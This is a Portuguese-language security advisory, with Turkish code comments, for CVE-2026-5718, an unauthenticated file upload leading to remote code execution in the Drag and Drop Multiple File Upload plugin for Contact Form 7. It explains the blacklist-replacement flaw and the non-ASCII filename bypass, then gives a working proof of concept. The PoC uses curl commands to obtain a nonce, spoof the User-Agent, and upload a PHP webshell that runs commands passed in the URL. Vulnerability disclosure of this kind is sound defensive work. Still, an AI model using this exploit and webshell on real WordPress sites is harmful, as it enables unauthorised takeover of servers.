
CVE-2026-5718: Upload de arquivo não autenticado para RCE no plugin DnD Upload CF7
CVE-2026-5718: Upload de Arquivo Não Autenticado para RCE no Plugin DnD Upload CF7
Plugin: Drag and Drop Multiple File Upload for Contact Form 7 Plugin Slug:
drag-and-drop-multiple-file-upload-contact-form-7CVE ID: CVE-2026-5718 Pontuação CVSS: 8.1 (Alta) CVSS Vector:CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:HTipo de Vulnerabilidade: Upload Arbitrário de Arquivo Não Autenticado → Execução Remota de Código Versões Afetadas: <= 1.3.9.6 Versão Corrigida: 1.3.9.7 Data de Publicação: 17 de abril de 2026 Pesquisador: Leonid Semenko (lsemenenko) — Wordfence
No plugin Drag and Drop Multiple File Upload for Contact Form 7, dois erros lógicos independentes se combinam para permitir que atacantes não autenticados carreguem um webshell PHP.
Quebra da Blacklist: A configuração personalizada de blacklist
substitui completamente a lista padrão de extensões perigosas
em vez de combiná-la.
php não é mais bloqueado.
Bypass Non-ASCII: A presença de caracteres não ASCII no nome do arquivo
impede a chamada da função wpcf7_antiscript_file_name().
A extensão .php é preservada e o arquivo é gravado no disco.
| Campo | Valor |
|---|---|
| Nome do Plugin | Drag and Drop Multiple File Upload for CF7 |
| CVE ID | CVE-2026-5718 |
| Pontuação CVSS | 8.1 (Alta) |
| Tipo de Vulnerabilidade | Upload Arbitrário de Arquivo Não Autenticado |
| Versão Afetada | <= 1.3.9.6 |
| Versão Corrigida | 1.3.9.7 |
| Pré-requisito | Configuração personalizada blacklist-types no formulário CF7 |
// inc/dnd-upload-cf7.php — lines 62–71
function dnd_wpcf7_nonce_check() {
// Tek koruma: User-Agent'ta 'curl' kontrolü — kolayca atlatılır
if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'curl' ) !== false ) {
wp_send_json_error('Request blocked: cURL access is forbidden.');
}
if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){
// Geçersiz nonce → YENİ NONCE DÖNDÜRÜR
wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) );
}
}
A action wp_ajax_nopriv__wpcf7_check_nonce é pública.
Quando um nonce inválido é enviado, um novo nonce é fornecido gratuitamente.
A verificação de curl é contornada usando um User-Agent Mozilla.
// inc/dnd-upload-cf7.php — lines 883–886
$blacklist_types = dnd_cf7_not_allowed_ext();
// ↑ ~80 tehlikeli uzantı: php, php3, php4, pht, phtml, phar...
if ( isset( $blacklist["$cf7_upload_name"] ) && ! empty( $blacklist["$cf7_upload_name"] ) ) {
$blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
// ↑ ASSIGNMENT (=) — MERGE DEĞİL
// Özel liste: sadece ['zip']
// 'php' artık listede YOK → kabul edilir
}
Configuração da tag de formulário que aciona a vulnerabilidade:
[mfile upload-file filetypes="*" blacklist-types:zip]
O administrador quer bloquear ZIP → o plugin apaga toda a denylist padrão.
Todas as extensões perigosas, incluindo php, agora são aceitas.
Além disso, a lista hardcoded para filetypes="*" também está incompleta:
// line 927 — 'php', 'php3', 'php4', 'pht', 'phtml' EKSİK
$not_allowed_ext = array( 'phar', 'svg', 'php5', 'php7', 'php8' );
// inc/dnd-upload-cf7.php — lines 969–972
$ascii_name = dnd_cf7_remove_icons( $filename );
if ( dnd_cf7_check_ascii( $ascii_name ) ) {
// Sadece pure-ASCII dosya adları için çağrılır
$filename = wpcf7_antiscript_file_name( $ascii_name );
// ↑ shell.php → shell.php.txt yapardı — ama atlanıyor
}
// Non-ASCII karakter varsa bu blok ATLANIR
// $filename = "shellシ.php" → .php uzantısı korunur
// dnd_cf7_check_ascii() — lines 1029–1041
function dnd_cf7_check_ascii( $string ) {
$string = sanitize_file_name( $string );
// ↑ Sadece lokal kopya değişir, dış $filename ETKİLENMEZ
if ( mb_check_encoding( $string, 'ASCII' ) ) {
return true;
}
return false; // Non-ASCII karakter → false → antiscript atlanır
}
┌─────────────────────────────────────────────────────────────┐
│ POST /wp-admin/admin-ajax.php?action=_wpcf7_check_nonce │
│ User-Agent: Mozilla/5.0 (curl değil) │
│ │ │
│ ▼ │
│ {"success":true,"data":"abc123def456"} │
│ → Nonce ücretsiz alındı │
└──────────────────────────┬──────────────────────────────────┘
│
┌──────────────────────────▼──────────────────────────────────┐
│ POST /wp-admin/admin-ajax.php?action=dnd_codedropz_upload │
│ security=abc123def456 │
│ upload-file=shellシ.php (Content-Type: application/x-php) │
│ │ │
│ ├── Nonce geçerli ✓ │
│ ├── blacklist=['zip'] → 'php' engellenmez ✓ │
│ ├── dnd_cf7_check_ascii("shellシ.php") = false │
│ ├── wpcf7_antiscript_file_name() ATLANIR ✓ │
│ └── move_uploaded_file("shellシ.php") → Diske yazıldı│
└──────────────────────────┬──────────────────────────────────┘
│
┌──────────────────────────▼──────────────────────────────────┐
│ GET /wp-content/uploads/wp_dndcf7_uploads/ │
│ wpcf7-files/<uuid>/shell%E3%82%B7.php?cmd=id │
│ │ │
│ ▼ │
│ uid=33(www-data) gid=33(www-data) groups=33(www-data) │
│ → Unauthenticated RCE ✓ │
└─────────────────────────────────────────────────────────────┘
⚠️ Aviso Legal: Este PoC é fornecido apenas para fins educacionais e de pesquisa defensiva em segurança. Use somente em sistemas que você possui ou para os quais tenha autorização explícita por escrito para testar.
Pré-requisitos:
[mfile] com blacklist-types:
[mfile upload-file filetypes="*" blacklist-types:zip]
TARGET="https://target.example.com"
NONCE=$(curl -s -X POST \
"$TARGET/wp-admin/admin-ajax.php" \
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
--data "action=_wpcf7_check_nonce" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['data'])")
echo "Nonce: $NONCE"
Resposta esperada:
{"success": true, "data": "abc123def456"}
# 'シ' (U+30B7 Katakana) → dnd_cf7_check_ascii() = false
SHELL_FILENAME="shellシ.php"
echo '<?php system($_GET["cmd"]); ?>' > "/tmp/${SHELL_FILENAME}"
FORM_ID=1
FIELD_NAME="upload-file"
SESSION_FOLDER=$(uuidgen | tr '[:upper:]' '[:lower:]' | tr -d '-')
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
-F "action=dnd_codedropz_upload" \
-F "security=${NONCE}" \
-F "form_id=${FORM_ID}" \
-F "upload_name=${FIELD_NAME}" \
-F "upload_folder=${SESSION_FOLDER}" \
-F "upload-file=@/tmp/${SHELL_FILENAME};type=application/x-php"
Resposta esperada:
{
"success": true,
"data": {
"path": "<session-folder-uuid>",
"file": "shellシ.php"
}
}